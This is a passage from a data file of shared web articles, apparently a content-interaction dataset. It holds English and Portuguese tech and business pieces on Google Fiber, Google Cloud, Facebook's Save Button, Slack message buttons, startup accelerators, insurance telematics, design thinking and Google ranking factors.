show you something, but a few Wall Street analysts and the Fool didn't miss a beat: There's a small company that's powering their brand-new gadgets and the coming revolution in technology. And we think its stock price has nearly unlimited room to run for early in-the-know investors! To be one of them, just click here .",en
1466683828,CONTENT SHARED,-2318171567839609160,-2979881261169775358,-3179461972537074999,,,,HTML,https://webpass.net/blog/google-fiber-agrees-to-acquire-webpass,Google Fiber agrees to acquire Webpass,"We have exciting news to share: Google Fiber has entered into an agreement to acquire Webpass. Google Fiber and Webpass share a commitment to creating fast, abundant Internet connectivity in the U.S. By joining forces, we can accelerate the deployment of superfast Internet connections for customers across the U.S.",en
1466691962,CONTENT SHARED,-92787874211637246,-1443636648652872475,-911711509111027294,,,,HTML,http://www.businessinsider.com/google-cloud-business-2016-6,Analyst: Google's cloud business could cause the stock to soar to over $900,"Justin Sullivan/Getty Images Pacific Crest analyst Evan Wilson doesn't think Google is getting enough credit in the market for what's shaping up to be a killer cloud business, he said in a research note. After reading Business Insider's interview with cloud leader Diane Greene , and other press reports, Wilson concludes: ""The biggest focus for Greene seems to be building the organization that will pivot the Google Cloud from serving internal Google efforts and apps to focusing on external enterprise partners. In the past seven months, new cloud head Diane Greene has bulked up the enterprise sales team, created an office of the CTO, created specific industry units and signed more reseller partners."" Wilson adds that Google can significantly grow Google Cloud Platform (GCP) even as Amazon and Microsoft's Azure grow their own clouds. The market is far from being tapped out: ""The cloud market is large enough and moving fast enough that we remain comfortable that Amazon can sustain robust growth even as GCP and Azure narrow the feature gap over time. Only 5% of workloads are in the public cloud and, coupled with the enterprise desire for multiple cloud vendors, we think robust growth is possible for each of the big three."" He's impressed with some of the big customers Google has already signed on for its various cloud products which include Coca-Cola, General Mills, Best Buy, The Home Depot, Spotify, Apple iCloud, Snapchat and PricewaterhouseCoopers Wilson thinks that ""every $1 billion of cloud revenue could fuel an incremental $0.25 in EPS"" for Google stock. All told, he's rating the stock overweight with a $910 target price. The stock is currently trading at around $700. Disclosure: Jeff Bezos is an investor in Business Insider through his personal investment company Bezos Expeditions.",en
1466703503,CONTENT SHARED,6591596441845797769,-1352064057049251194,1313441918314944777,,,,HTML,http://adnews.com.br/internet/facebook-libera-botao-que-integra-rede-social-sites-de-e-commerce.html,Facebook libera botão que integra rede social a sites de e-commerce,"O Facebook se posiciona como uma forte aliada das marcas, tanto no relacionamento direto com o cliente, quanto na própria comercialização de produtos. A última novidade que acaba de chegar ao Brasil é o ""Save Button"", uma ferramenta que permite salvar produtos de e-commerce para ver mais tarde na rede social. Não entendeu? Pois bem, as marcas parceiras do Facebook terão o botão ""Salvar no Facebook"" em cada página de produto de seu site de compras. Caso o usuário goste de uma peça mas não consiga realizar a compra naquele momento, ele terá a possibilidade de acionar o Save Button, ou seja, de seguir aquele produto na rede social. Dessa forma, ele passa a receber periodicamente informações sobre ele em suas notificações, tais como descontos na peça e novidades de cores. Uma das primeiras marcas a aplicarem o recurso no país é a Reserva. Além de possuir um e-commerce estruturado, a grife carioca é muito forte nas redes sociais. Sua página no Facebook, por exemplo, possui mais de 2 milhões de seguidores e conta com diversas ações criadas exclusivamente para o universo digital. Essa velha parceria com o Facebook foi um dos motivos da marca ser a escolhida pela empresa para testar a versão beta do Save Button. É o que conta Rafael Passos, gerente de e-commerce da Reserva. ""A Reserva sempre enxergou o canal no Facebook como algo estratégico e manteve um bom relacionamento, trocando dados e insights com eles"", conta. A possibilidade de salvar posts não é uma novidade no Facebook, mas a extensão para produtos em e-commerce pode mudar e muito a jornada do consumidor. Para Rafael, as marcas também se beneficiarão, uma vez que a ferramenta permitirá conhecer melhor o gosto e o perfil do cliente sem que ele tenha, de fato, efetivado a compra. ""A Reserva quer escutar mais o cliente e a ferramenta vai amplificar muito isso. O Save Button permite conhecer o aspiracional do cliente"". A ferramenta é uma aposta da Reserva para o segmento e-commerce. De acordo com Rafael, a marca ainda não está usando o máximo que o Save Button permite, mas vem trabalhando nisso. ""Estamos pensando em abandonar o 'siga o produto' já existente no site e substituir pelo botão do Facebook"", conta. Até o momento, o uso do beta rendeu boas impressões: ""Retorno de dados de comportamento e uma ótima repercussão"". O gerente de e-commerce não abre o jogo, mas conta que o Facebook está trabalhando em melhorias para o recurso. E a Reserva estará a par de tudo. Deixe seu comentário:",pt
1466705945,CONTENT SHARED,-3136683414587095274,2146546851324474301,-6053878093839757198,,,,HTML,https://medium.com/citcommerce/marketplaces-nota-sobre-o-modelo-d6d2c8461969,Marketplace,"Marketplace Uma nota sobre o modelo de negócios Recentemente, um modelo de vendas on-line vem sendo apontado como o modelo mais lucrativo para este tipo de negócio. Importado do eBay e da gigante Amazon e diferentedo tradicional modelo de e-commerce , o marketplace vende produtos e serviços oferecidos por outros vendedores e em troca retém uma comissão que pode variar entre 15% e 25% da receita da venda. A vantagem para a empresa detentora do marketplace é óbvia, já que ela deixa de se encarregar do processo de order fulffilment -  desde o recebimento do pedido até a entrega para o consumidor. Assim, a maior parte do Custo de Mercadoria Vendida (CMV) - despesas de produção e armazenagem no pré-venda - fica com a empresa usuária do marketplace . Porém, há um outro lado do modelo que não pode ser desprezado tampouco negligenciado, o lado do vendedor parceiro, chamado em português corporativo de seller . Afinal de contas, um marketplace sem parceiros mantendo seu sortimento não se sustenta. Por este motivo o desenho do modelo de negócios de um marketplace precisa levar em consideração, desde o início de sua concepção, que ele precisa ser atrativo para os sellers tanto quanto precisa ser atrativo para os consumidores. Mas se o marketplace exige uma comissão alta para o seller entrar no negócio, o que pode ser atrativo nesse negócio ? O marketplace assume para si alguns custos que podem chegar a até 20% da operação de venda e portanto não desprezíveis. São os custos com marketing , os custos com o adquirente - empresa que faz a transação junto à bandeira do cartão - mais o gateway de pagamentos e os custos com as fraudes e com os mecanismos anti-fraude. O marketplace , devido ao seu volume de vendas, consegue ser mais eficiente na diluição deste custos. Os custos de transação com o adquirente, por exemplo, podem ficar entre 5% e 6% para uma loja pequena mas pode chegar a menos de 2% para uma loja com alto volume de transações. Outro fator importante a ser considerado é a força da marca com os consumidores. Marcas como Walmart.com, Extra.com, Mercado Livre e Submarino têm mais poder de publicidade e de credibilidade com os consumidores do que um seller pequeno pode conseguir sozinho. O marketplace precisa dar para os seus sellers , principalmente os menores, ferramentas de análise de vendas. Alguns marketplaces , percebendo a força conjunta de seus sellers menores, dão uma plataforma completa de operação e análise sem exigir que o seller tenha necessariamente uma plataforma própria de e-commerce . Nesse cenário ganha-ganha dos marketplaces e sellers, o próximo passo será consolidar o terceiro ""win"" do modelo, a conveniência para os consumidores. A nova onda são marketplaces de nicho que ligam consumidores e sellers através da venda de itens periféricos com os seus serviços primários. Um exemplo: agências de viagens que vendem seus pacotes on-line e oferecem souvenirs ou outros serviços agregados, como aluguel de carros e refeições.",pt
1466708086,CONTENT SHARED,491373795166252904,-1479311724257856983,-5453975609082049196,,,,HTML,http://news.mit.edu/2016/teaching-machines-to-predict-the-future-0621,Teaching machines to predict the future,"When we see two people meet, we can often predict what happens next: a handshake, a hug, or maybe even a kiss. Our ability to anticipate actions is thanks to intuitions born out of a lifetime of experiences. Machines, on the other hand, have trouble making use of complex knowledge like that. Computer systems that predict actions would open up new possibilities ranging from robots that can better navigate human environments, to emergency response systems that predict falls, to Google Glass-style headsets that feed you suggestions for what to do in different situations. This week researchers from MIT's Computer Science and Artificial Intelligence Laboratory (CSAIL) have made an important new breakthrough in predictive vision, developing an algorithm that can anticipate interactions more accurately than ever before. Trained on YouTube videos and TV shows such as ""The Office"" and ""Desperate Housewives,"" the system can predict whether two individuals will hug, kiss, shake hands or slap five. In a second scenario, it could also anticipate what object is likely to appear in a video five seconds later. While human greetings may seem like arbitrary actions to predict, the task served as a more easily controllable test case for the researchers to study. ""Humans automatically learn to anticipate actions through experience, which is what made us interested in trying to imbue computers with the same sort of common sense,"" says CSAIL PhD student Carl Vondrick, who is first author on a related paper that he will present this week at the International Conference on Computer Vision and Pattern Recognition (CVPR). ""We wanted to show that just by watching large amounts of video, computers can gain enough knowledge to consistently make predictions about their surroundings."" Vondrick's co-authors include MIT Professor Antonio Torralba and former postdoc Hamed Pirsiavash , now a professor at the University of Maryland. How it works Past attempts at predictive computer-vision have generally taken one of two approaches. The first method is to look at an image's individual pixels and use that knowledge to create a photorealistic ""future"" image, pixel by pixel - a task that Vondrick describes as ""difficult for a professional painter, much less an algorithm."" The second is to have humans label the scene for the computer in advance, which is impractical for being able to predict actions on a large scale. The CSAIL team instead created an algorithm that can predict ""visual representations,"" which are basically freeze-frames showing different versions of what the scene might look like. ""Rather than saying that one pixel value is blue, the next one is red, and so on, visual representations reveal information about the larger image, such as a certain collection of pixels that represents a human face,"" Vondrick says. The team's algorithm employs techniques from deep-learning, a field of artificial intelligence that uses systems called ""neural networks"" to teach computers to pore over massive amounts of data to find patterns on their own. Each of the algorithm's networks predicts a representation is automatically classified as one of the four actions - in this case, a hug, handshake, high-five, or kiss. The system then merges those actions into one that it uses as its prediction. For example, three networks might predict a kiss, while another might use the fact that another person has entered the frame as a rationale for predicting a hug instead. ""A video isn't like a 'Choose Your Own Adventure' book where you can see all of the potential paths,"" says Vondrick. ""The future is inherently ambiguous, so it's exciting to challenge ourselves to develop a system that uses these representations to anticipate all of the possibilities."" How it did After training the algorithm on 600 hours of unlabeled video, the team tested it on new videos showing both actions and objects. When shown a video of people who are one second away from performing one of the four actions, the algorithm correctly predicted the action more than 43 percent of the time, which compares to existing algorithms that could only do 36 percent of the time. In a second study, the algorithm was shown a frame from a video and asked to predict what object will appear five seconds later. For example, seeing someone open a microwave might suggest the future presence of a coffee mug. The algorithm predicted the object in the frame 30 percent more accurately than baseline measures, though the researchers caution that it still only has an average precision of 11 percent. It's worth noting that even humans make mistakes on these tasks: for example, human subjects were only able to correctly predict the action 71 percent of the time. ""There's a lot of subtlety to understanding and forecasting human interactions,"" says Vondrick. ""We hope to be able to work off of this example to be able to soon predict even more complex tasks."" Looking forward While the algorithms aren't yet accurate enough for practical applications, Vondrick says that future versions could be used for everything from robots that develop better action plans to security cameras that can alert emergency responders when someone who has fallen or gotten injured. ""I'm excited to see how much better the algorithms get if we can feed them a lifetime's worth of videos,"" says Vondrick. ""We might see some significant improvements that would get us closer to using predictive-vision in real-world situations."" The work was supported by a grant from the National Science Foundation, along with a Google faculty research award for Torralba and a Google PhD fellowship for Vondrick.",en
1466708326,CONTENT SHARED,1058405970043104639,-1479311724257856983,-5453975609082049196,,,,HTML,http://www.cnet.com/news/google-digs-deeper-on-machine-learning-with-new-european-research-lab/,​Google digs deeper on machine learning with new European research lab,"Google Google Translate, Google Photo Search , Google Smart Reply -- it made its name in search, but Google is becoming a global powerhouse in machine learning, and it's not stopping any time soon. The company that calls Mountain View, California, home is now getting a firmer foothold in Europe, announcing the opening of a new Google Research group, based out of the company's Zurich offices. The research group will be dedicated to machine learning (ML) and exploring how computer intelligence can be used to replicate processes performed quickly by the human brain. Think image recognition, understanding natural language and creating neural networks that can learn tasks and improve over time. According to Google , the team will be focused on research areas such as machine perception and natural language processing, and will ""actively research ways in which to improve ML infrastructure, broadly facilitating research for the community, and enabling it to be put to practical use.""",en
1466716976,CONTENT SHARED,-2774293088092853604,-8020832670974472349,7182677253610272452,,,,HTML,https://medium.com/slack-developer-blog/message-buttons-and-the-slack-api-ab938174af70,Message buttons and the Slack API - Slack Platform Blog,"New APIs + new capabilities = totally awesome Message Buttons mark the biggest change to the Slack API since its inception. They're deceptively simple - a bit of UI that lets users interact with your apps directly. They're available in the Slack API and can be added to any existing app. They operate within message attachments, allowing up to five buttons in a single message that fire off any process you need when clicked by users. They make your apps easier to use - no longer do users have to remember precise commands - they can just click the button for the function they want, when they want it. For developers it's the same story; your bots won't have to parse human language as much if you let users make direct choices. The result is a new way of building apps for Slack, one that relies less on complex multi-step interactions, while letting you increase user engagement within Slack. We think this is going to usher in a whole new world of apps built for Slack. Let's look at some sample apps released today to get the ideas flowing. Resolve issues with Pagerduty Pagerduty lets users review incoming alerts and mark them as acknowledged or resolved, right from Slack. Using the chat.update API method, messages posted to channels show results in real-time as buttons are clicked, including who marked events as resolved. This both saves a trip to web browser and shows a record of which team member responded to issues. Pay your teammates back with Current Current allows you to send your team members money via Slack. The app combines slash commands with Message Buttons to make their Slack app extremely simple to use. An especially impressive aspect of Current's updated app is how they handle support requests, through a combination of Message Buttons, slash commands, and bot users. Lunch train We've also built a reference app for you to try out. At Slack's San Francisco office, food trucks appear every Monday, Wednesday, and Friday and quickly became a tradition for employees. Slack channels would fill up with chatter as people made plans for when to arrive to beat the crowds, so we built an app that makes coordinating that easier, and shows off Message Buttons. You start by proposing a time and destination, and post it into a channel where others can see. Colleagues seeing the message can tap the button to Board the train. Using chat.update in the Slack API, the host gets a running tally of who is going (without triggering new messages) along with the option of delaying or canceling the lunch trip. Shortly before the agreed time, everyone gets a Slackbot reminder to meet up and meet for lunch. After the event, messages update to past tense and display who took part. To test out Lunch Train you can install it to your team . Build with buttons If you've already built an app for Slack, check the API documentation on Message Buttons . If you're still considering what kind of app to build for Slack, know that Message Buttons offer direct interactions, and can greatly simplify your application's flow. If you need help getting started, the crew over at Howdy updated Botkit to include demo code with Message Buttons. As of today, over 500 apps are available our App Directory. We want to thank the entire developer community for helping propel the Directory from just an idea last winter into an incredible resource for millions of users, all over the course of just a few months, and we can't wait to see what you build next.",en
1466721411,CONTENT SHARED,-9147114693160126293,3609194402293569455,2082636029549212340,,,,HTML,http://startupi.com.br/2016/06/confira-um-relatorio-sobre-a-industria-das-aceleradoras-globais-e-conheca-as-tendencias-para-os-proximos-anos/,Confira um relatório sobre a indústria das aceleradoras globais e conheça as tendências para os próximos anos - Startupi,"Semana passada divulgamos em primeira mão um relatório sobre a indústria das aceleradoras da América Latina , realizado pela Gust e Fundacity. Foram pesquisadas 100 organizações, das quais 62 foram qualificadas como aceleradoras. Confira agora um relatório sobre a indústria das aceleradoras globais, que fornece um olhar para dentro dos exclusivos programas de aceleração de todo o mundo. Entenda como a indústria de aceleradoras tem se desenvolvido globalmente, como estão sendo financiadas e rentabilizadas, e ainda, tenha insights sobre a direção da indústria para os próximos anos. Para este relatório global, foram pesquisadas 836 organizações, das quais 387 foram qualificadas como aceleradoras e que compartilharam seus dados. Em todo o mundo foram investidos US$191.999,757 em 8.836 startups por 387 aceleradoras. Estados Unidos e Canadá - 2968 startups foram aceleradas por 111 programas de aceleração Europa - 2574 startups foram aceleradas por 113 programas de aceleração América Latina - 1333 startups foram aceleradas por 62 programas de aceleração Ásia e Oceania - 1295 startups foram aceleradas por 54 programas de aceleração Oriente Médio - 666 startups foram aceleradas por 47 programas de aceleração As aceleradoras estão lucrando? Estados Unidos e Canadá - 64.86% são aceleradoras com fins lucrativos e 35.14% são sem fins lucrativos Europa - 64.6% são aceleradoras com fins lucrativos e 35.4% são sem fins lucrativos América Latina - 72.58% são aceleradoras com fins lucrativos e 27.42% são sem fins lucrativos Ásia e Oceania - 75.93% são aceleradoras com fins lucrativos e 24.07% são sem fins lucrativos Oriente Médio - 49% são aceleradoras com fins lucrativos e 51% são sem fins lucrativos Uma proporção significativa das aceleradoras não tem fins lucrativos. O Oriente Médio é a única região com um número maior de aceleradoras sem fins lucrativos do que com fins lucrativos. As aceleradoras sem fins lucrativos geralmente não recebem equity e tendem a se concentrar em indústrias voltadas para um benefício público específico, como por exemplo, Health Tech e EdTech. Elas podem ser financiadas por uma instituição pública ou privada. Exits das aceleradoras Estados Unidos e Canadá - 193 exits Europa - 33 exits América Latina - 24 exits Ásia e Oceania - 34 exits Oriente Médio - 5 exits Com referência aos dados acima, os exits são definidos como fusões e aquisições ou ofertas públicas iniciais (IPOs) entre 01 de janeiro de 2015 e 31 de Dezembro de 2015. Além dos EUA, saídas globais ainda são eventos relativamente raros e isso explica por que as aceleradoras estão diversificando o seu modelo de negócio. Top 10 países por investimento Top 10 países por startups aceleradas Top 10 aceleradoras por capital investido Hot markets em todo o mundo para 2016 - Porcentagem de aceleradoras que relataram interesse em investir nestes mercados nos próximos 12 meses Conclusão Os Estados Unidos e o Canadá ainda reinam como líderes da indústria de aceleradoras com um total de 111 aceleradoras investindo US$ 90.3 milhões em 2.968 startups, porém, temos notado o crescimento em larga escala de outras aceleradoras ao redor do mundo. Tradicionalmente, as aceleradoras funcionavam como os VCs e investidores-anjo, baseando-se no sucesso dos exits das startups para recuperar seus investimentos financeiros e gerar lucros. No entanto, a maioria das aceleradoras em todo o mundo estão explorando novas formas de gerar receita. Estes novos modelos de negócios incluem eventos, oficinas, orientação e espaço para coworking. Estas fontes de financiamento alternativas ajudam as aceleradoras na manutenção e operações de seus programas antes dos exits. Em linha com a metodologia Lean Startup, as aceleradoras também contam com o processo de build-medida, ou seja, i dentificam um problema que necessita ser resolvido, desenvolvem um MVP para resolver este problema e começam o processo de ajustes do produto. O resultado é o aumento das aceleradoras 2.0. As aceleradoras 2.0, alinhadas ainda com a visão original de suas antecessoras, de nutrir empresas disruptivas, se diferem em algumas maneiras. Essas novas aceleradoras p ossuem um modelo de receita diversificada, muitas vezes se concentram em verticais específicas, integram-se mais com o ecossistema e trabalham em estreita colaboração com os governos e corporações. Vamos aguardar os próximos passos dessa indústria e analisar como os agentes do ecossistema se adaptam. Para conferir o relatório completo clique aqui .",pt
1466727717,CONTENT SHARED,7181581805250416928,-6895155480127642372,-55923117646442159,,,,HTML,http://jconline.ne10.uol.com.br/canal/economia/pernambuco/noticia/2016/06/19/liberty-vai-adotar-telemetria-e-baratear-seguro-para-bons-motoristas-240787.php,Liberty vai adotar telemetria e baratear seguro para bons motoristas,"Projeto está em fase piloto e deverá ser implantado oficialmente em 2017 A Liberty Seguros - uma das maiores empresas do setor no mundo - vai implantar em 2017 a tecnologia de telemetria no Brasil. A ferramenta será usada para determinar o preço do seguro do automóvel, beneficiando motoristas que dirigem com segurança. Os motoristas que aderirem à tecnologia vão receber desconto de 10% no valor do seguro. Por enquanto, o projeto está em fase piloto funcionando com o aparelho em 160 automóveis em São Paulo. ""A Liberty Mutual Insurance vai investir US$ 50 milhões por ano no projeto em âmbito mundial, com expectativa de adquirir 50 mil aparelhos por mês. A telemetria já é uma tendência nos mercados dos Estados Unidos e da Europa. No Brasil, apenas uma empresa adotou com foco no público jovem e em pequena escala. A Liberty será a primeira a implementar no mercado brasileiro como um todo"", adianta o presidente e CEO da Liberty Seguros no Brasil, Carlos Magnarelli. O aparelho envia informações à seguradora sobre como o motorista está dirigindo, verificando velocidade média utilizada, nível de freagem e movimentos bruscos, por exemplo. MERCADO Além da aposta em tecnologia, a Liberty também está customizando seus produtos para atravessar a crise sem perder clientes. No Brasil, do total de automóveis em circulação, apenas 30% têm seguro. ""Estamos oferecendo uma modalidade de seguro com valor cerca de 60% menor para evitar a fuga de cliente"", afirma Magnarelli. Hoje, o segmento de seguros para automóveis representa 84% do negócio da empresa, com uma carteira de 1,2 milhão de veículos segurados. A adequação dos produtos permitiu com que a empresa crescesse acima do mercado brasileiro em 2015. Enquanto o setor avançou 2,5%, a companhia expandiu seu faturamento em 7%. ""O resultado ficou abaixo da inflação, mas o importante nesse mercado é não perder a base de clientes. A rentabilidade pode até diminuir, mas perder o cliente tem consequências maiores"", reforça o executivo. No Brasil, a Liberty se posiciona em sétimos lugar no ranking de seguradora de automóveis e no Estado ocupa a quinta posição.",pt
1466728771,CONTENT SHARED,4751741894255718069,8250502084456448386,970831914672612417,,,,HTML,https://brandopediablog.wordpress.com/2016/04/10/what-do-design-thinking-and-marketing-have-in-common/,What do Design Thinking and Marketing have in common?,"Branding consultancies use design as a strategic tool to achieve their clients' marketing objectives. Marketing and Design go hand in hand to create the best of branding solutions for our esteemed clients. The creative juices of design flow seamlessly into marketing strategy to carve out the future course of the brand. No doubt, that for us marketing and design is inseparable. However, there is one more emerging arena, that is being much talked about nowadays in every organization, as a powerhouse to nurture innovation, and that is Design Thinking. It is essentially a creative problem solving technique, which uses the way Designers think, to solve complex problems. It's a combination of both analysis and imagination. While it initially evolved out of the product design sphere, it's now being used across sectors, from HR to finance, to fill a gap or to improve an existing experience. As a Design Thinking enthusiast, I am fascinated with the similarities between the design thinking process and marketing, so much so that I can draw a parallel between the two. The more I delve deep into understanding the former, more I get reminded of the fundamentals taught in my marketing classrooms, and I feel that they both are essentially saying the same thing. The Design Thinking process consists of 5 steps. It focuses on need finding, understanding, creating, thinking and doing. There is an emphasis on creation and action. It is believed that by actually creating and testing something, we can continue to learn and improvise on our original idea. I think the most important similarity in both the process, is that they are human-centered. In marketing, the customer is the king. The intent is to identify and then meet the consumer's need - essentially to provide value to the consumer. A very important step in marketing is segmenting, targeting and positioning the brand to the right target consumer. And marketers have started appreciating the fact that the consumers are humans and not a number in the excel sheet. They think, feel and act in a certain way and understanding their cultural and anthropological backgrounds is essential to connect or engage with them. Since brand building is all about establishing an emotional connect with the consumer, marketers are increasingly basing their marketing plans on strong cultural consumer insights. Design Thinking also puts the user, his needs and expectations, his culture and background at the center of the Design process. The very first step of Design Thinking is empathy. Design thinkers are solving problems, which are rarely their own, but of those of a particular group of people. To create anything meaningful for them, it becomes extremely important to gain empathy for who they are and what is important to them. Observing and engaging with the user group helps them to learn about what they do, how they interact with their environment, how they think and feel, what problems they face leading to what they need. So the starting point for both marketing and design thinking is the consumer or the user - to understand them and their environment. Both believe that if we base our creation on strong consumer insights, the product or service will be fulfilling an important or unmet need of theirs, will be useful to them and hence automatically will be an object of desire. Both emphasize on a clear definition of the problem statement. Until a clear marketing objective is defined, there are high chances of a marketing campaign going ineffective. In Design Thinking it's essential to create a prototype- a working model of sorts of the product/service and elicit feedback from the target user. Similarly you will find marketers Test Marketing a product within a certain market before a full fledged launch. They may conduct focused groups earlier in the cycle to test a particular product idea, concept or even a campaign thought. Both are iterative processes. Both require the steps to be repeated in order to better the experience of the user. There are differences too. A critical one is the outlook towards Market Research. While some marketers are still holding onto traditional ways of research, Design Thinkers appreciate that most consumers won't be able to express their thoughts if enquired about products that do not yet exist. This is the same thought process which prevented Steve Jobs from spending money on market research. Design Thinking involves a very different kind of research which is more observational, ethnographic and in-context. Even though these differences exist, I believe the basics remain the same - Put the consumer at the heart of everything, fulfill one of his needs, solve a problem and eventually make the world a better place to live. This article was also published as part of my regular column in Packaging South Asia . Please do share your comments below.",en
1466729247,CONTENT SHARED,-4503975842879662368,8250502084456448386,970831914672612417,,,,HTML,http://backlinko.com/google-ranking-factors,Google Ranking Factors: The Complete List,"You probably already know that Google uses about 200 ranking factors in their algorithm... But what the heck are they? Well today you're in for a treat because I've put together a complete list. Some are proven. Some are controversial. Others are SEO nerd speculation. But they're all here . Bonus: Download a free checklist that will show you how to tap into the 10 most important Google ranking factors listed here. Domain Factors 1. Domain Age: In this video , Matt Cutts states that: ""The difference between a domain that's six months old versus one year old is really not that big at all."". In other words, they do use domain age...but it's not very important. 2. Keyword Appears in Top Level Domain: Doesn't give the boost that it used to, but having your keyword in the domain still acts as a relevancy signal. After all, they still bold keywords that appear in a domain name. 3. Keyword As First Word in Domain: A domain that starts with their target keyword has an edge over sites that either don't have the keyword in their domain or have the keyword in the middle or end of their domain. 4. Domain registration length: A Google patent states: ""Valuable (legitimate) domains are often paid for several years in advance, while doorway (illegitimate) domains rarely are used for more than a year. Therefore, the date when a domain expires in the future can be used as a factor in predicting the legitimacy of a domain"". 5. Keyword in Subdomain Name: Moz's 2011 panel agreed that a keyword appearing in the subdomain can boost rankings: 6. Domain History: A site with volatile ownership (via whois) or several drops may tell Google to ""reset"" the site's history, negating links pointing to the domain. 7. Exact Match Domain: EMDs may still give you an edge...if it's a quality site. But if the EMD happens to be a low-quality site, it's vulnerable to the EMD update : 8. Public vs. Private WhoIs: Private WhoIs information may be a sign of ""something to hide"". Matt Cutts is quoted as stating at Pubcon 2006: ""...When I checked the whois on them, they all had ""whois privacy protection service"" on them. That's relatively unusual. ...Having whois privacy turned on isn't automatically bad, but once you get several of these factors all together, you're often talking about a very different type of webmaster than the fellow who just has a single site or so."" 9. Penalized WhoIs Owner: If Google identifies a particular person as a spammer it makes sense that they would scrutinize other sites owned by that person. 10. Country TLD extension: Having a Country Code Top Level Domain (.cn, .pt, .ca) helps the site rank for that particular country...but limits the site's ability to rank globally. Page-Level Factors 11. Keyword in Title Tag: The title tag is a webpage's second most important piece of content (besides the content of the page) and therefore sends a strong on-page SEO signal. 12. Title Tag Starts with Keyword : According to Moz data , title tags that starts with a keyword tend to perform better than title tags with the keyword towards the end of the tag: 13. Keyword in Description Tag: Another relevancy signal. Not especially important now, but still makes a difference. 14. Keyword Appears in H1 Tag: H1 tags are a ""second title tag"" that sends another relevancy signal to Google, according to results from this correlation study : 15. Keyword is Most Frequently Used Phrase in Document: Having a keyword appear more than any other likely acts as a relevancy signal. 16. Content Length: Content with more words can cover a wider breadth and are likely preferred to shorter superficial articles. SERPIQ found that content length correlated with SERP position : 17. Keyword Density : Although not as important as it once was, keyword density is still something Google uses to determine the topic of a webpage. But going overboard can hurt you. 18. Latent Semantic Indexing Keywords in Content (LSI): LSI keywords help search engines extract meaning from words with more than one meaning (Apple the computer company vs. the fruit). The presence/absence of LSI probably also acts as a content quality signal. 19. LSI Keywords in Title and Description Tags: As with webpage content, LSI keywords in page meta tags probably help Google discern between synonyms. May also act as a relevancy signal. 20. Page Loading Speed via HTML: Both Google and Bing use page loading speed as a ranking factor. Search engine spiders can estimate your site speed fairly accurately based on a page's code and filesize. 21. Duplicate Content: Identical content on the same site (even slightly modified) can negatively influence a site's search engine visibility. 22. Rel=Canonical: When used properly , use of this tag may prevent Google from considering pages duplicate content. 23. Page Loading Speed via Chrome : Google may also use Chrome user data to get a better handle on a page's loading time as this takes into account server speed, CDN usage and other non HTML-related site speed signals. 24. Image Optimization: Images on-page send search engines important relevancy signals through their file name, alt text, title, description and caption. 25. Recency of Content Updates: Google Caffeine update favors recently updated content, especially for time-sensitive searches. Highlighting this factor's importance, Google shows the date of a page's last update for certain pages: 26. Magnitude of Content Updates : The significance of edits and changes is also a freshness factor. Adding or removing entire sections is a more significant update than switching around the order of a few words. 27. Historical Updates Page Updates: How often has the page been updated over time? Daily, weekly, every 5-years? Frequency of page updates also play a role in freshness. 28. Keyword Prominence : Having a keyword appear in the first 100-words of a page's content appears to be a significant relevancy signal. 29. Keyword in H2, H3 Tags : Having your keyword appear as a subheading in H2 or H3 format may be another weak relevancy signal. Moz's panel agrees: 30. Keyword Word Order: An exact match of a searcher's keyword in a page's content will generally rank better than the same keyword phrase in a different order. For example: consider a search for: ""cat shaving techniques"". A page optimized for the phrase ""cat shaving techniques"" will rank better than a page optimized for ""techniques for shaving a cat"". This is a good illustration of why keyword research is really, really important. 31. Outbound Link Quality : Many SEOs think that linking out to authority sites helps send trust signals to Google. 32. Outbound Link Theme: According to Moz , search engines may use the content of the pages you link to as a relevancy signal. For example, if you have a page about cars that links to movie-related pages, this may tell Google that your page is about the movie Cars, not the automobile. 33. Grammar and Spelling: Proper grammar and spelling is a quality signal, although Cutts gave mixed messages in 2011 on whether or not this was important. 34. Syndicated Content: Is the content on the page original? If it's scraped or copied from an indexed page it won't rank as well as the original or end up in their Supplemental Index . 35. Helpful Supplementary Content: According to a now-public Google Rater Guidelines Document , helpful supplementary content is an indicator of a page's quality (and therefore, Google ranking). Examples include currency converters, loan interest calculators and interactive recipes. 36. Number of Outbound Links: Too many dofollow OBLs may ""leak"" PageRank, which can hurt that page's rankings. 37. Multimedia: Images, videos and other multimedia elements may act as a content quality signal. 38. Number of Internal Links Pointing to Page: The number of internal links to a page indicates its importance relative to other pages on the site. 39. Quality of Internal Links Pointing to Page : Internal links from authoritative pages on domain have a stronger effect than pages with no or low PR. 40. Broken Links: Having too many broken links on a page may be a sign of a neglected or abandoned site. The Google Rater Guidelines Document uses broken links as one was to assess a homepage's quality. 41. Reading Level: There's no doubt that Google estimates the reading level of webpages. In fact, Google used to give you reading level stats: But what they do with that information is up for debate. Some say that a basic reading level will help you rank better because it will appeal to the masses. But others associate a basic reading level with content mills like Ezine Articles. 42. Affiliate Links : Affiliate links themselves probably won't hurt your rankings. But if you have too many, Google's algorithm may pay closer attention to other quality signals to make sure you're not a ""thin affiliate site"". 43. HTML errors/W3C validation : Lots of HTML errors or sloppy coding may be a sign of a poor quality site. While controversial, many in SEO think that WC3 validation is a weak quality signal. 44. Page Host's Domain Authority : All things being equal, a page on an authoritative domain will rank higher than a page on a domain with less authority. 45. Page's PageRank: Not perfectly correlated. But in general higher PR pages tend to rank better than low PR pages. 46. URL Length: Search Engine Journal notes that excessively long URLs may hurt search visibility. 47. URL Path : A page closer to the homepage may get a slight authority boost. 48. Human Editors: Although never confirmed, Google has filed a patent for a system that allows human editors to influence the SERPs. 49. Page Category: The category the page appears on is a relevancy signal. A page that's part of a closely related category should get a relevancy boost compared to a page that's filed under an unrelated or less related category. 50. WordPress Tags: Tags are WordPress-specific relevancy signal. According to Yoast.com : ""The only way it improves your SEO is by relating one piece of content to another, and more specifically a group of posts to each other"" 51. Keyword in URL : Another important relevancy signal. 52. URL String: The categories in the URL string are read by Google and may provide a thematic signal to what a page is about: 53. References and Sources: Citing references and sources, like research papers do, may be a sign of quality. The Google Quality Guidelines states that reviewers should keep an eye out for sources when looking at certain pages: ""This is a topic where expertise and/or authoritative sources are important..."". However, Google has denied that they use external links as a ranking signal. 54. Bullets and Numbered Lists: Bullets and numbered lists help break up your content for readers, making them more user friendly. Google likely agrees and may prefer content with bullets and numbers. 55. Priority of Page in Sitemap: The priority a page is given via the sitemap.xml file may influence ranking. 56. Too Many Outbound Links: Straight from the aforementioned Quality rater document: ""Some pages have way, way too many links, obscuring the page and distracting from the Main Content"" 57. Quantity of Other Keywords Page Ranks For: If the page ranks for several other keywords it may give Google an internal sign of quality. 58. Page Age: Although Google prefers fresh content, an older page that's regularly updated may outperform a newer page. 59. User Friendly Layout: Citing the Google Quality 